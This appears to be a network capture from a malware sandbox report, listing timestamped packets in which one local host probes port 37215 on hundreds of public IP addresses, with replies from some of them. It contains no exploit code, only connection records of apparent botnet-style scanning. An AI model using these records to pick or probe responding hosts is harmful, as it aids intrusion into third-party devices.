Feb 20, 2022 16:02:47.293040037 CET	27477	37215	192.168.2.23	154.252.67.1
Feb 20, 2022 16:02:47.293051958 CET	27477	37215	192.168.2.23	154.148.227.167
Feb 20, 2022 16:02:47.293067932 CET	27477	37215	192.168.2.23	154.176.63.96
Feb 20, 2022 16:02:47.293071985 CET	27477	37215	192.168.2.23	154.138.73.9
Feb 20, 2022 16:02:47.293144941 CET	27477	37215	192.168.2.23	154.206.169.181
Feb 20, 2022 16:02:47.293163061 CET	27477	37215	192.168.2.23	154.126.20.182
Feb 20, 2022 16:02:47.293179035 CET	27477	37215	192.168.2.23	154.16.44.68
Feb 20, 2022 16:02:47.293195009 CET	27477	37215	192.168.2.23	154.70.82.182
Feb 20, 2022 16:02:47.293212891 CET	27477	37215	192.168.2.23	154.224.140.149
Feb 20, 2022 16:02:47.293222904 CET	27477	37215	192.168.2.23	154.89.148.135
Feb 20, 2022 16:02:47.293239117 CET	27477	37215	192.168.2.23	154.84.119.60
Feb 20, 2022 16:02:47.293289900 CET	27477	37215	192.168.2.23	154.168.12.254
Feb 20, 2022 16:02:47.293873072 CET	27477	37215	192.168.2.23	154.46.171.20
Feb 20, 2022 16:02:47.300239086 CET	37215	27477	154.25.4.202	192.168.2.23
Feb 20, 2022 16:02:47.337002993 CET	37215	27477	102.29.41.65	192.168.2.23
Feb 20, 2022 16:02:47.365505934 CET	37215	27477	154.13.58.186	192.168.2.23
Feb 20, 2022 16:02:47.369189978 CET	37215	27477	154.207.13.216	192.168.2.23
Feb 20, 2022 16:02:47.374859095 CET	37215	27477	154.145.161.254	192.168.2.23
Feb 20, 2022 16:02:47.377777100 CET	37215	27477	154.13.252.4	192.168.2.23
Feb 20, 2022 16:02:47.381082058 CET	37215	27477	154.29.161.211	192.168.2.23
Feb 20, 2022 16:02:47.382015944 CET	37215	27477	154.84.163.134	192.168.2.23
Feb 20, 2022 16:02:47.387423992 CET	37215	27477	154.13.144.85	192.168.2.23
Feb 20, 2022 16:02:47.390515089 CET	37215	27477	154.28.67.149	192.168.2.23
Feb 20, 2022 16:02:47.392275095 CET	37215	27477	154.22.152.179	192.168.2.23
Feb 20, 2022 16:02:47.394387007 CET	37215	27477	154.145.175.248	192.168.2.23
Feb 20, 2022 16:02:47.398073912 CET	37215	27477	154.24.13.189	192.168.2.23
Feb 20, 2022 16:02:47.404105902 CET	37215	27477	154.30.45.50	192.168.2.23
Feb 20, 2022 16:02:47.408322096 CET	37215	27477	154.145.75.254	192.168.2.23
Feb 20, 2022 16:02:47.410526037 CET	37215	27477	102.155.149.2	192.168.2.23
Feb 20, 2022 16:02:47.415628910 CET	37215	27477	154.12.203.138	192.168.2.23
Feb 20, 2022 16:02:47.419280052 CET	37215	27477	154.12.124.233	192.168.2.23
Feb 20, 2022 16:02:47.429326057 CET	37215	27477	154.72.69.190	192.168.2.23
Feb 20, 2022 16:02:47.432334900 CET	37215	27477	154.64.54.89	192.168.2.23
Feb 20, 2022 16:02:47.435578108 CET	37215	27477	154.30.177.32	192.168.2.23
Feb 20, 2022 16:02:47.437722921 CET	37215	27477	154.24.34.180	192.168.2.23
Feb 20, 2022 16:02:47.437751055 CET	37215	27477	154.16.45.112	192.168.2.23
Feb 20, 2022 16:02:47.438396931 CET	37215	27477	154.7.108.61	192.168.2.23
Feb 20, 2022 16:02:47.438827991 CET	37215	27477	154.7.91.133	192.168.2.23
Feb 20, 2022 16:02:47.441160917 CET	37215	27477	154.94.203.248	192.168.2.23
Feb 20, 2022 16:02:47.441236973 CET	37215	27477	154.210.90.249	192.168.2.23
Feb 20, 2022 16:02:47.441519976 CET	37215	27477	154.27.128.232	192.168.2.23
Feb 20, 2022 16:02:47.443819046 CET	37215	27477	154.93.35.188	192.168.2.23
Feb 20, 2022 16:02:47.443865061 CET	27477	37215	192.168.2.23	154.93.35.188
Feb 20, 2022 16:02:47.443980932 CET	27477	37215	192.168.2.23	154.210.90.249
Feb 20, 2022 16:02:47.444931984 CET	37215	27477	154.16.244.1	192.168.2.23
Feb 20, 2022 16:02:47.445477009 CET	37215	27477	154.22.187.104	192.168.2.23
Feb 20, 2022 16:02:47.449774027 CET	37215	27477	154.26.218.191	192.168.2.23
Feb 20, 2022 16:02:47.449821949 CET	27477	37215	192.168.2.23	154.26.218.191
Feb 20, 2022 16:02:47.456186056 CET	37215	27477	154.30.63.156	192.168.2.23
Feb 20, 2022 16:02:47.456228018 CET	37215	27477	154.0.195.154	192.168.2.23
Feb 20, 2022 16:02:47.459255934 CET	37215	27477	154.22.231.248	192.168.2.23
Feb 20, 2022 16:02:47.460048914 CET	37215	27477	154.208.12.140	192.168.2.23
Feb 20, 2022 16:02:47.462022066 CET	37215	27477	154.208.23.81	192.168.2.23
Feb 20, 2022 16:02:47.462037086 CET	37215	27477	154.72.43.123	192.168.2.23
Feb 20, 2022 16:02:47.462666035 CET	37215	27477	154.90.70.20	192.168.2.23
Feb 20, 2022 16:02:47.465779066 CET	37215	27477	154.73.58.197	192.168.2.23
Feb 20, 2022 16:02:47.467416048 CET	37215	27477	154.80.131.199	192.168.2.23
Feb 20, 2022 16:02:47.468776941 CET	37215	27477	154.31.177.101	192.168.2.23
Feb 20, 2022 16:02:47.476845980 CET	37215	27477	154.91.1.57	192.168.2.23
Feb 20, 2022 16:02:47.477914095 CET	37215	27477	154.198.202.67	192.168.2.23
Feb 20, 2022 16:02:47.477922916 CET	27477	37215	192.168.2.23	154.91.1.57
Feb 20, 2022 16:02:47.480777025 CET	37215	27477	154.83.88.97	192.168.2.23
Feb 20, 2022 16:02:47.484663010 CET	37215	27477	154.70.172.168	192.168.2.23
Feb 20, 2022 16:02:47.485734940 CET	37215	27477	154.23.183.141	192.168.2.23
Feb 20, 2022 16:02:47.485768080 CET	27477	37215	192.168.2.23	154.23.183.141
Feb 20, 2022 16:02:47.486135006 CET	37215	27477	154.73.86.61	192.168.2.23
Feb 20, 2022 16:02:47.489379883 CET	37215	27477	154.72.139.105	192.168.2.23
Feb 20, 2022 16:02:47.491106987 CET	37215	27477	154.84.119.60	192.168.2.23
Feb 20, 2022 16:02:47.504143953 CET	37215	27477	154.123.210.1	192.168.2.23
Feb 20, 2022 16:02:47.511528015 CET	37215	27221	154.150.203.174	192.168.2.23
Feb 20, 2022 16:02:47.519470930 CET	37215	27477	154.118.55.225	192.168.2.23
Feb 20, 2022 16:02:47.538578987 CET	37215	27477	154.211.45.189	192.168.2.23
Feb 20, 2022 16:02:47.538645983 CET	27477	37215	192.168.2.23	154.211.45.189
Feb 20, 2022 16:02:47.538880110 CET	37215	27221	154.149.62.140	192.168.2.23
Feb 20, 2022 16:02:47.539362907 CET	37215	27221	154.149.62.140	192.168.2.23
Feb 20, 2022 16:02:47.539489031 CET	27221	37215	192.168.2.23	154.149.62.140
Feb 20, 2022 16:02:47.541251898 CET	37215	27477	154.220.191.79	192.168.2.23
Feb 20, 2022 16:02:47.553122044 CET	37215	27477	154.221.48.112	192.168.2.23
Feb 20, 2022 16:02:47.557585001 CET	37215	27477	154.212.234.38	192.168.2.23
Feb 20, 2022 16:02:47.557620049 CET	27477	37215	192.168.2.23	154.212.234.38
Feb 20, 2022 16:02:47.558084011 CET	37215	27477	154.213.192.93	192.168.2.23
Feb 20, 2022 16:02:47.572318077 CET	37215	27477	154.220.29.127	192.168.2.23
Feb 20, 2022 16:02:47.572623968 CET	27477	37215	192.168.2.23	154.220.29.127
Feb 20, 2022 16:02:47.576693058 CET	37215	27477	154.148.128.116	192.168.2.23
Feb 20, 2022 16:02:47.577339888 CET	37215	27477	154.216.5.67	192.168.2.23
Feb 20, 2022 16:02:47.577455044 CET	27477	37215	192.168.2.23	154.216.5.67
Feb 20, 2022 16:02:47.580759048 CET	37215	27477	154.197.228.228	192.168.2.23
Feb 20, 2022 16:02:47.580879927 CET	27477	37215	192.168.2.23	154.197.228.228
Feb 20, 2022 16:02:47.580964088 CET	37215	27477	154.204.228.233	192.168.2.23
Feb 20, 2022 16:02:47.581047058 CET	27477	37215	192.168.2.23	154.204.228.233
Feb 20, 2022 16:02:47.602910995 CET	37215	27477	154.65.190.70	192.168.2.23
Feb 20, 2022 16:02:47.607822895 CET	37215	27477	154.148.62.87	192.168.2.23
Feb 20, 2022 16:02:47.617449999 CET	37215	27477	154.61.80.137	192.168.2.23
Feb 20, 2022 16:02:47.681471109 CET	37215	27477	154.201.208.201	192.168.2.23
Feb 20, 2022 16:02:47.705746889 CET	27221	37215	192.168.2.23	45.47.255.224
Feb 20, 2022 16:02:47.705771923 CET	27221	37215	192.168.2.23	45.18.202.230
Feb 20, 2022 16:02:47.705786943 CET	27221	37215	192.168.2.23	45.4.236.221
Feb 20, 2022 16:02:47.705806971 CET	27221	37215	192.168.2.23	45.176.143.82
Feb 20, 2022 16:02:47.705830097 CET	27221	37215	192.168.2.23	45.151.86.103
Feb 20, 2022 16:02:47.705873013 CET	27221	37215	192.168.2.23	45.195.110.154
Feb 20, 2022 16:02:47.705887079 CET	27221	37215	192.168.2.23	45.234.199.96
Feb 20, 2022 16:02:47.705946922 CET	27221	37215	192.168.2.23	45.247.5.70
Feb 20, 2022 16:02:47.705986023 CET	27221	37215	192.168.2.23	45.24.216.125
Feb 20, 2022 16:02:47.706048965 CET	27221	37215	192.168.2.23	45.124.147.174
Feb 20, 2022 16:02:47.706099033 CET	27221	37215	192.168.2.23	45.7.107.200
Feb 20, 2022 16:02:47.706131935 CET	27221	37215	192.168.2.23	45.127.101.127
Feb 20, 2022 16:02:47.706135035 CET	27221	37215	192.168.2.23	45.120.200.114
Feb 20, 2022 16:02:47.706141949 CET	27221	37215	192.168.2.23	45.42.79.82
Feb 20, 2022 16:02:47.706243038 CET	27221	37215	192.168.2.23	45.70.110.179
Feb 20, 2022 16:02:47.706255913 CET	27221	37215	192.168.2.23	45.104.180.53
Feb 20, 2022 16:02:47.706259012 CET	27221	37215	192.168.2.23	45.155.255.115
Feb 20, 2022 16:02:47.706274986 CET	27221	37215	192.168.2.23	45.125.55.236
Feb 20, 2022 16:02:47.706281900 CET	27221	37215	192.168.2.23	45.74.160.69
Feb 20, 2022 16:02:47.706360102 CET	27221	37215	192.168.2.23	45.185.4.70
Feb 20, 2022 16:02:47.706397057 CET	27221	37215	192.168.2.23	45.24.249.195
Feb 20, 2022 16:02:47.706398010 CET	27221	37215	192.168.2.23	45.162.153.107
Feb 20, 2022 16:02:47.706453085 CET	27221	37215	192.168.2.23	45.153.16.58
Feb 20, 2022 16:02:47.706510067 CET	27221	37215	192.168.2.23	45.226.231.232
Feb 20, 2022 16:02:47.706532955 CET	27221	37215	192.168.2.23	45.22.63.220
Feb 20, 2022 16:02:47.706542015 CET	27221	37215	192.168.2.23	45.38.195.195
Feb 20, 2022 16:02:47.706572056 CET	27221	37215	192.168.2.23	45.225.7.72
Feb 20, 2022 16:02:47.706610918 CET	27221	37215	192.168.2.23	45.221.82.27
Feb 20, 2022 16:02:47.706626892 CET	27221	37215	192.168.2.23	45.212.130.3
Feb 20, 2022 16:02:47.706727982 CET	27221	37215	192.168.2.23	45.15.124.223
Feb 20, 2022 16:02:47.706768036 CET	27221	37215	192.168.2.23	45.124.41.104
Feb 20, 2022 16:02:47.706779957 CET	27221	37215	192.168.2.23	45.107.131.3
Feb 20, 2022 16:02:47.706780910 CET	27221	37215	192.168.2.23	45.245.14.18
Feb 20, 2022 16:02:47.706782103 CET	27221	37215	192.168.2.23	45.134.144.167
Feb 20, 2022 16:02:47.706818104 CET	27221	37215	192.168.2.23	45.126.82.131
Feb 20, 2022 16:02:47.706855059 CET	27221	37215	192.168.2.23	45.18.133.204
Feb 20, 2022 16:02:47.706856012 CET	27221	37215	192.168.2.23	45.116.181.89
Feb 20, 2022 16:02:47.706856012 CET	27221	37215	192.168.2.23	45.39.229.120
Feb 20, 2022 16:02:47.706868887 CET	27221	37215	192.168.2.23	45.77.120.235
Feb 20, 2022 16:02:47.706888914 CET	27221	37215	192.168.2.23	45.147.123.123
Feb 20, 2022 16:02:47.706929922 CET	27221	37215	192.168.2.23	45.82.194.16
Feb 20, 2022 16:02:47.706957102 CET	27221	37215	192.168.2.23	45.174.126.189
Feb 20, 2022 16:02:47.706986904 CET	27221	37215	192.168.2.23	45.6.20.187
Feb 20, 2022 16:02:47.707088947 CET	27221	37215	192.168.2.23	45.34.35.182
Feb 20, 2022 16:02:47.707104921 CET	27221	37215	192.168.2.23	45.7.138.46
Feb 20, 2022 16:02:47.707123995 CET	27221	37215	192.168.2.23	45.166.27.8
Feb 20, 2022 16:02:47.707207918 CET	27221	37215	192.168.2.23	45.188.85.54
Feb 20, 2022 16:02:47.707207918 CET	27221	37215	192.168.2.23	45.162.232.83
Feb 20, 2022 16:02:47.707221985 CET	27221	37215	192.168.2.23	45.192.10.254
Feb 20, 2022 16:02:47.707313061 CET	27221	37215	192.168.2.23	45.167.202.101
Feb 20, 2022 16:02:47.707343102 CET	27221	37215	192.168.2.23	45.174.206.195
Feb 20, 2022 16:02:47.707381010 CET	27221	37215	192.168.2.23	45.97.126.208
Feb 20, 2022 16:02:47.707391977 CET	27221	37215	192.168.2.23	45.183.19.38
Feb 20, 2022 16:02:47.707401037 CET	27221	37215	192.168.2.23	45.145.173.71
Feb 20, 2022 16:02:47.707492113 CET	27221	37215	192.168.2.23	45.23.187.207
Feb 20, 2022 16:02:47.707499027 CET	27221	37215	192.168.2.23	45.72.161.122
Feb 20, 2022 16:02:47.707500935 CET	27221	37215	192.168.2.23	45.97.27.99
Feb 20, 2022 16:02:47.707568884 CET	27221	37215	192.168.2.23	45.81.79.174
Feb 20, 2022 16:02:47.707668066 CET	27221	37215	192.168.2.23	45.28.234.221
Feb 20, 2022 16:02:47.707684040 CET	27221	37215	192.168.2.23	45.251.135.185
Feb 20, 2022 16:02:47.707707882 CET	27221	37215	192.168.2.23	45.246.136.46
Feb 20, 2022 16:02:47.707719088 CET	27221	37215	192.168.2.23	45.83.44.192
Feb 20, 2022 16:02:47.707719088 CET	27221	37215	192.168.2.23	45.132.231.22
Feb 20, 2022 16:02:47.707732916 CET	27221	37215	192.168.2.23	45.153.106.98
Feb 20, 2022 16:02:47.707797050 CET	27221	37215	192.168.2.23	45.61.206.4
Feb 20, 2022 16:02:47.707823038 CET	27221	37215	192.168.2.23	45.151.191.231
Feb 20, 2022 16:02:47.707885027 CET	27221	37215	192.168.2.23	45.217.59.139
Feb 20, 2022 16:02:47.707886934 CET	27221	37215	192.168.2.23	45.111.146.67
Feb 20, 2022 16:02:47.707890034 CET	27221	37215	192.168.2.23	45.238.159.89
Feb 20, 2022 16:02:47.708003044 CET	27221	37215	192.168.2.23	45.136.105.201
Feb 20, 2022 16:02:47.708058119 CET	27221	37215	192.168.2.23	45.102.234.87
Feb 20, 2022 16:02:47.708071947 CET	27221	37215	192.168.2.23	45.194.207.164
Feb 20, 2022 16:02:47.708081007 CET	27221	37215	192.168.2.23	45.43.126.67
Feb 20, 2022 16:02:47.708122015 CET	27221	37215	192.168.2.23	45.158.133.62
Feb 20, 2022 16:02:47.708122015 CET	27221	37215	192.168.2.23	45.110.29.167
Feb 20, 2022 16:02:47.708122969 CET	27221	37215	192.168.2.23	45.229.5.88
Feb 20, 2022 16:02:47.708185911 CET	27221	37215	192.168.2.23	45.175.131.183
Feb 20, 2022 16:02:47.708197117 CET	27221	37215	192.168.2.23	45.78.243.110
Feb 20, 2022 16:02:47.708210945 CET	27221	37215	192.168.2.23	45.85.113.124
Feb 20, 2022 16:02:47.708214045 CET	27221	37215	192.168.2.23	45.141.118.124
Feb 20, 2022 16:02:47.708297014 CET	27221	37215	192.168.2.23	45.35.84.238
Feb 20, 2022 16:02:47.708312988 CET	27221	37215	192.168.2.23	45.58.155.250
Feb 20, 2022 16:02:47.708326101 CET	27221	37215	192.168.2.23	45.190.190.94
Feb 20, 2022 16:02:47.708360910 CET	27221	37215	192.168.2.23	45.178.229.62
Feb 20, 2022 16:02:47.708368063 CET	27221	37215	192.168.2.23	45.135.150.148
Feb 20, 2022 16:02:47.708394051 CET	27221	37215	192.168.2.23	45.29.200.77
Feb 20, 2022 16:02:47.708473921 CET	27221	37215	192.168.2.23	45.150.78.180
Feb 20, 2022 16:02:47.708513021 CET	27221	37215	192.168.2.23	45.97.113.202
Feb 20, 2022 16:02:47.708548069 CET	27221	37215	192.168.2.23	45.74.217.33
Feb 20, 2022 16:02:47.708573103 CET	27221	37215	192.168.2.23	45.132.169.179
Feb 20, 2022 16:02:47.708602905 CET	27221	37215	192.168.2.23	45.56.193.152
Feb 20, 2022 16:02:47.708631992 CET	27221	37215	192.168.2.23	45.148.9.45
Feb 20, 2022 16:02:47.708666086 CET	27221	37215	192.168.2.23	45.92.86.147
Feb 20, 2022 16:02:47.708667040 CET	27221	37215	192.168.2.23	45.221.148.53
Feb 20, 2022 16:02:47.708687067 CET	27221	37215	192.168.2.23	45.191.191.192
Feb 20, 2022 16:02:47.708755970 CET	27221	37215	192.168.2.23	45.230.224.146
Feb 20, 2022 16:02:47.708859921 CET	27221	37215	192.168.2.23	45.82.209.43
Feb 20, 2022 16:02:47.708882093 CET	27221	37215	192.168.2.23	45.206.241.145
Feb 20, 2022 16:02:47.708883047 CET	27221	37215	192.168.2.23	45.133.213.123
Feb 20, 2022 16:02:47.708883047 CET	27221	37215	192.168.2.23	45.57.35.28
Feb 20, 2022 16:02:47.708942890 CET	27221	37215	192.168.2.23	45.244.187.96
Feb 20, 2022 16:02:47.709002972 CET	27221	37215	192.168.2.23	45.24.120.170
Feb 20, 2022 16:02:47.709014893 CET	27221	37215	192.168.2.23	45.81.60.155
Feb 20, 2022 16:02:47.709034920 CET	27221	37215	192.168.2.23	45.148.245.148
Feb 20, 2022 16:02:47.709042072 CET	27221	37215	192.168.2.23	45.37.239.163
Feb 20, 2022 16:02:47.709057093 CET	27221	37215	192.168.2.23	45.49.21.205
Feb 20, 2022 16:02:47.709065914 CET	27221	37215	192.168.2.23	45.245.153.84
Feb 20, 2022 16:02:47.709067106 CET	27221	37215	192.168.2.23	45.253.126.244
Feb 20, 2022 16:02:47.709193945 CET	27221	37215	192.168.2.23	45.105.9.116
Feb 20, 2022 16:02:47.709199905 CET	27221	37215	192.168.2.23	45.111.248.204
Feb 20, 2022 16:02:47.709201097 CET	27221	37215	192.168.2.23	45.154.164.204
Feb 20, 2022 16:02:47.709213972 CET	27221	37215	192.168.2.23	45.115.225.253
Feb 20, 2022 16:02:47.709219933 CET	27221	37215	192.168.2.23	45.240.30.144
Feb 20, 2022 16:02:47.709244013 CET	27221	37215	192.168.2.23	45.111.62.194
Feb 20, 2022 16:02:47.709304094 CET	27221	37215	192.168.2.23	45.111.8.186
Feb 20, 2022 16:02:47.709305048 CET	27221	37215	192.168.2.23	45.86.79.45
Feb 20, 2022 16:02:47.709392071 CET	27221	37215	192.168.2.23	45.151.190.144
Feb 20, 2022 16:02:47.709398031 CET	27221	37215	192.168.2.23	45.193.246.182
Feb 20, 2022 16:02:47.709408998 CET	27221	37215	192.168.2.23	45.33.65.47
Feb 20, 2022 16:02:47.709455013 CET	27221	37215	192.168.2.23	45.247.63.104
Feb 20, 2022 16:02:47.709522963 CET	27221	37215	192.168.2.23	45.41.86.230
Feb 20, 2022 16:02:47.709522963 CET	27221	37215	192.168.2.23	45.151.156.10
Feb 20, 2022 16:02:47.709547997 CET	27221	37215	192.168.2.23	45.130.79.34
Feb 20, 2022 16:02:47.709549904 CET	27221	37215	192.168.2.23	45.31.247.127
Feb 20, 2022 16:02:47.709583998 CET	27221	37215	192.168.2.23	45.101.197.121
Feb 20, 2022 16:02:47.709670067 CET	27221	37215	192.168.2.23	45.143.25.31
Feb 20, 2022 16:02:47.709729910 CET	27221	37215	192.168.2.23	45.147.254.41
Feb 20, 2022 16:02:47.709743977 CET	27221	37215	192.168.2.23	45.159.25.52
Feb 20, 2022 16:02:47.709762096 CET	27221	37215	192.168.2.23	45.131.250.31
Feb 20, 2022 16:02:47.709774971 CET	27221	37215	192.168.2.23	45.39.37.162
Feb 20, 2022 16:02:47.709785938 CET	27221	37215	192.168.2.23	45.111.48.77
Feb 20, 2022 16:02:47.709827900 CET	27221	37215	192.168.2.23	45.11.204.207
Feb 20, 2022 16:02:47.709827900 CET	27221	37215	192.168.2.23	45.218.111.69
Feb 20, 2022 16:02:47.709871054 CET	27221	37215	192.168.2.23	45.134.194.56
Feb 20, 2022 16:02:47.709928989 CET	27221	37215	192.168.2.23	45.63.21.64
Feb 20, 2022 16:02:47.709939957 CET	27221	37215	192.168.2.23	45.25.129.249
Feb 20, 2022 16:02:47.709953070 CET	27221	37215	192.168.2.23	45.77.178.51
Feb 20, 2022 16:02:47.709985971 CET	27221	37215	192.168.2.23	45.91.156.119
Feb 20, 2022 16:02:47.710026979 CET	27221	37215	192.168.2.23	45.213.63.197
Feb 20, 2022 16:02:47.710037947 CET	27221	37215	192.168.2.23	45.230.85.132
Feb 20, 2022 16:02:47.710057020 CET	27221	37215	192.168.2.23	45.83.8.31
Feb 20, 2022 16:02:47.710115910 CET	27221	37215	192.168.2.23	45.41.174.34
Feb 20, 2022 16:02:47.710134029 CET	27221	37215	192.168.2.23	45.165.212.97
Feb 20, 2022 16:02:47.710206032 CET	27221	37215	192.168.2.23	45.131.173.200
Feb 20, 2022 16:02:47.710206985 CET	27221	37215	192.168.2.23	45.81.54.5
Feb 20, 2022 16:02:47.710243940 CET	27221	37215	192.168.2.23	45.205.159.195
Feb 20, 2022 16:02:47.710310936 CET	27221	37215	192.168.2.23	45.239.110.57
Feb 20, 2022 16:02:47.710314035 CET	27221	37215	192.168.2.23	45.107.56.135
Feb 20, 2022 16:02:47.710342884 CET	27221	37215	192.168.2.23	45.44.215.135
Feb 20, 2022 16:02:47.710381985 CET	27221	37215	192.168.2.23	45.42.93.251
Feb 20, 2022 16:02:47.710434914 CET	27221	37215	192.168.2.23	45.159.243.66
Feb 20, 2022 16:02:47.710474968 CET	27221	37215	192.168.2.23	45.102.23.45
Feb 20, 2022 16:02:47.710475922 CET	27221	37215	192.168.2.23	45.170.66.59
Feb 20, 2022 16:02:47.710561991 CET	27221	37215	192.168.2.23	45.91.156.187
Feb 20, 2022 16:02:47.710612059 CET	27221	37215	192.168.2.23	45.59.132.122
Feb 20, 2022 16:02:47.710618973 CET	27221	37215	192.168.2.23	45.241.148.247
Feb 20, 2022 16:02:47.710627079 CET	27221	37215	192.168.2.23	45.74.95.213
Feb 20, 2022 16:02:47.710644007 CET	27221	37215	192.168.2.23	45.20.14.89
Feb 20, 2022 16:02:47.710696936 CET	27221	37215	192.168.2.23	45.158.209.87
Feb 20, 2022 16:02:47.710730076 CET	27221	37215	192.168.2.23	45.47.124.16
Feb 20, 2022 16:02:47.710757971 CET	27221	37215	192.168.2.23	45.76.1.18
Feb 20, 2022 16:02:47.710787058 CET	27221	37215	192.168.2.23	45.252.254.243
Feb 20, 2022 16:02:47.710851908 CET	27221	37215	192.168.2.23	45.13.55.78
Feb 20, 2022 16:02:47.710863113 CET	27221	37215	192.168.2.23	45.102.73.162
Feb 20, 2022 16:02:47.710881948 CET	27221	37215	192.168.2.23	45.150.187.232
Feb 20, 2022 16:02:47.710884094 CET	27221	37215	192.168.2.23	45.177.7.67
Feb 20, 2022 16:02:47.710886002 CET	27221	37215	192.168.2.23	45.194.164.96
Feb 20, 2022 16:02:47.710900068 CET	27221	37215	192.168.2.23	45.149.127.247
Feb 20, 2022 16:02:47.710952044 CET	27221	37215	192.168.2.23	45.45.150.118
Feb 20, 2022 16:02:47.710953951 CET	27221	37215	192.168.2.23	45.48.28.171
Feb 20, 2022 16:02:47.711035967 CET	27221	37215	192.168.2.23	45.140.150.60
Feb 20, 2022 16:02:47.711045980 CET	27221	37215	192.168.2.23	45.210.183.193
Feb 20, 2022 16:02:47.711057901 CET	27221	37215	192.168.2.23	45.116.73.53
Feb 20, 2022 16:02:47.711106062 CET	27221	37215	192.168.2.23	45.205.74.79
Feb 20, 2022 16:02:47.711149931 CET	27221	37215	192.168.2.23	45.3.226.18
Feb 20, 2022 16:02:47.711183071 CET	27221	37215	192.168.2.23	45.140.153.70
Feb 20, 2022 16:02:47.711194992 CET	27221	37215	192.168.2.23	45.197.230.22
Feb 20, 2022 16:02:47.711208105 CET	27221	37215	192.168.2.23	45.157.45.251
Feb 20, 2022 16:02:47.711219072 CET	27221	37215	192.168.2.23	45.185.145.189
Feb 20, 2022 16:02:47.711246014 CET	27221	37215	192.168.2.23	45.167.83.146
Feb 20, 2022 16:02:47.711327076 CET	27221	37215	192.168.2.23	45.28.93.26
Feb 20, 2022 16:02:47.711360931 CET	27221	37215	192.168.2.23	45.99.66.45
Feb 20, 2022 16:02:47.711400986 CET	27221	37215	192.168.2.23	45.54.87.59
Feb 20, 2022 16:02:47.711424112 CET	27221	37215	192.168.2.23	45.142.25.113
Feb 20, 2022 16:02:47.711425066 CET	27221	37215	192.168.2.23	45.252.43.64
Feb 20, 2022 16:02:47.711499929 CET	27221	37215	192.168.2.23	45.143.228.219
Feb 20, 2022 16:02:47.711505890 CET	27221	37215	192.168.2.23	45.100.143.120
Feb 20, 2022 16:02:47.711510897 CET	27221	37215	192.168.2.23	45.53.106.201
Feb 20, 2022 16:02:47.711525917 CET	27221	37215	192.168.2.23	45.66.111.123
Feb 20, 2022 16:02:47.711561918 CET	27221	37215	192.168.2.23	45.9.254.214
Feb 20, 2022 16:02:47.711587906 CET	27221	37215	192.168.2.23	45.66.177.168
Feb 20, 2022 16:02:47.711705923 CET	27221	37215	192.168.2.23	45.101.64.80
Feb 20, 2022 16:02:47.711723089 CET	27221	37215	192.168.2.23	45.174.205.188
Feb 20, 2022 16:02:47.711723089 CET	27221	37215	192.168.2.23	45.130.240.26
Feb 20, 2022 16:02:47.711735010 CET	27221	37215	192.168.2.23	45.60.74.43
Feb 20, 2022 16:02:47.711791039 CET	27221	37215	192.168.2.23	45.18.103.95
Feb 20, 2022 16:02:47.711807013 CET	27221	37215	192.168.2.23	45.255.216.156
Feb 20, 2022 16:02:47.711816072 CET	27221	37215	192.168.2.23	45.177.98.45
Feb 20, 2022 16:02:47.711869955 CET	27221	37215	192.168.2.23	45.197.207.161
Feb 20, 2022 16:02:47.711901903 CET	27221	37215	192.168.2.23	45.235.40.127
Feb 20, 2022 16:02:47.711930990 CET	27221	37215	192.168.2.23	45.233.47.184
Feb 20, 2022 16:02:47.711946011 CET	27221	37215	192.168.2.23	45.111.42.24
Feb 20, 2022 16:02:47.711967945 CET	27221	37215	192.168.2.23	45.121.94.30
Feb 20, 2022 16:02:47.712001085 CET	27221	37215	192.168.2.23	45.205.154.138
Feb 20, 2022 16:02:47.712013960 CET	27221	37215	192.168.2.23	45.150.187.60
Feb 20, 2022 16:02:47.712064981 CET	27221	37215	192.168.2.23	45.132.235.105
Feb 20, 2022 16:02:47.712100029 CET	27221	37215	192.168.2.23	45.143.151.124
Feb 20, 2022 16:02:47.712160110 CET	27221	37215	192.168.2.23	45.243.213.124
Feb 20, 2022 16:02:47.712258101 CET	27221	37215	192.168.2.23	45.52.37.216
Feb 20, 2022 16:02:47.712259054 CET	27221	37215	192.168.2.23	45.114.145.47
Feb 20, 2022 16:02:47.712263107 CET	27221	37215	192.168.2.23	45.110.178.64
Feb 20, 2022 16:02:47.712305069 CET	27221	37215	192.168.2.23	45.245.65.73
Feb 20, 2022 16:02:47.712351084 CET	27221	37215	192.168.2.23	45.63.33.236
Feb 20, 2022 16:02:47.712379932 CET	27221	37215	192.168.2.23	45.68.163.173
Feb 20, 2022 16:02:47.712413073 CET	27221	37215	192.168.2.23	45.181.63.178
Feb 20, 2022 16:02:47.712450981 CET	27221	37215	192.168.2.23	45.48.253.187
Feb 20, 2022 16:02:47.712469101 CET	27221	37215	192.168.2.23	45.157.107.34
Feb 20, 2022 16:02:47.712502956 CET	27221	37215	192.168.2.23	45.216.249.8
Feb 20, 2022 16:02:47.712524891 CET	27221	37215	192.168.2.23	45.245.125.125
Feb 20, 2022 16:02:47.712533951 CET	27221	37215	192.168.2.23	45.230.75.173
Feb 20, 2022 16:02:47.712542057 CET	27221	37215	192.168.2.23	45.196.243.62
Feb 20, 2022 16:02:47.712594032 CET	27221	37215	192.168.2.23	45.140.154.51
Feb 20, 2022 16:02:47.712624073 CET	27221	37215	192.168.2.23	45.185.160.24
Feb 20, 2022 16:02:47.712673903 CET	27221	37215	192.168.2.23	45.100.226.52
Feb 20, 2022 16:02:47.712692976 CET	27221	37215	192.168.2.23	45.172.154.154
Feb 20, 2022 16:02:47.712804079 CET	27221	37215	192.168.2.23	45.153.215.46
Feb 20, 2022 16:02:47.712804079 CET	27221	37215	192.168.2.23	45.22.219.147
Feb 20, 2022 16:02:47.712805033 CET	27221	37215	192.168.2.23	45.92.76.153
Feb 20, 2022 16:02:47.712918043 CET	27221	37215	192.168.2.23	45.95.200.74
Feb 20, 2022 16:02:47.712918043 CET	27221	37215	192.168.2.23	45.178.5.200
Feb 20, 2022 16:02:47.712925911 CET	27221	37215	192.168.2.23	45.149.121.131
Feb 20, 2022 16:02:47.712941885 CET	27221	37215	192.168.2.23	45.251.90.21
Feb 20, 2022 16:02:47.713032961 CET	27221	37215	192.168.2.23	45.184.250.168
Feb 20, 2022 16:02:47.713033915 CET	27221	37215	192.168.2.23	45.149.115.126
Feb 20, 2022 16:02:47.713041067 CET	27221	37215	192.168.2.23	45.104.215.164
Feb 20, 2022 16:02:47.713042021 CET	27221	37215	192.168.2.23	45.193.246.99
Feb 20, 2022 16:02:47.713076115 CET	27221	37215	192.168.2.23	45.23.37.221
Feb 20, 2022 16:02:47.713114977 CET	27221	37215	192.168.2.23	45.81.239.147
Feb 20, 2022 16:02:47.713208914 CET	27221	37215	192.168.2.23	45.67.189.94
